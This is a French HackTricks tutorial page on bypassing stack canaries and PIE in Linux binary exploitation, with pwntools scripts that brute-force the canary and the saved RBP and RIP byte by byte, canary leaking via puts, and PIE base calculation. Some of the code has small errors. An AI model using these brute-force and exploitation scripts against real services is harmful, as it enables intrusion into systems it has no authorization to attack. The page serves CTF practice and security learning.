hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2023-06-03 13:10:46 +00:00

173 lines
11 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
![](<../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Notez que **`checksec`** pourrait ne pas trouver qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction.\
Cependant, vous pouvez le remarquer manuellement si vous trouvez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir.
{% endhint %}
# Brute force Canary
La meilleure façon de contourner un simple canari est si le binaire est un programme **qui crée des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous connectez à lui, **le même canari sera utilisé**.
Ensuite, la meilleure façon de contourner le canari est simplement de le **forcer par caractère**, et vous pouvez savoir si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force un canari de 8 octets (x64)** et distingue entre un byte correctement deviné et un byte incorrect simplement en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre façon dans **d'autres situations** pourrait être d'utiliser un **try/except**):
## Exemple 1
Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
## Exemple 2
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.\
Notez également que pour cet exemple, **le programme s'attend d'abord à un octet pour indiquer la taille de l'entrée** et la charge utile.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
# Afficher le Canary
Une autre façon de contourner le canary est de **l'afficher**.\
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** pointant vers une **partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est composé d'octets **aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.\
Ensuite, l'attaquant **appelle la fonctionnalité puts** sur le milieu de la charge utile qui **affichera tout le canary** (sauf le premier octet nul).\
Avec ces informations, l'attaquant peut **créer et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme)
Évidemment, cette tactique est très **limitée** car l'attaquant doit être capable d'**afficher** le **contenu** de sa **charge utile** pour **extraire** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.\
Exemple de CTF : [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
# PIE
Pour contourner le PIE, vous devez **fuir une adresse**. Et si le binaire ne fuit pas d'adresses, le mieux à faire est de **forcer le RBP et le RIP enregistrés dans la pile** dans la fonction vulnérable.\
Par exemple, si un binaire est protégé à la fois par un **canary** et **PIE**, vous pouvez commencer à forcer le canary, puis les **8 octets suivants** (x64) seront le **RBP** enregistré et les **8 octets suivants** seront le **RIP** enregistré.
Pour forcer le RBP et le RIP à partir du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou s'il ne plante pas. La **même fonction** que celle fournie pour forcer le canary peut être utilisée pour forcer le RBP et le RIP :
```python
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
## Obtenir l'adresse de base
La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer des adresses utiles à partir des adresses divulguées : le **RBP** et le **RIP**.
À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile pour savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis vous pouvez calculer la distance entre le shellcode et le RBP :
```python
INI_SHELLCODE = RBP - 1152
```
À partir du **RIP**, vous pouvez calculer l'**adresse de base du binaire PIE** dont vous aurez besoin pour créer une **chaîne ROP valide**.\
Pour calculer l'adresse de base, il suffit de faire `objdump -d vunbinary` et de vérifier les dernières adresses de désassemblage :
![](<../../.gitbook/assets/image (145).png>)
Dans cet exemple, vous pouvez voir qu'il ne faut que **1 byte et demi** pour localiser tout le code, puis l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué _0x562002970**ecf**_, l'adresse de base est _0x562002970**000**_.
```python
elf.address = RIP - (RIP & 0xfff)
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>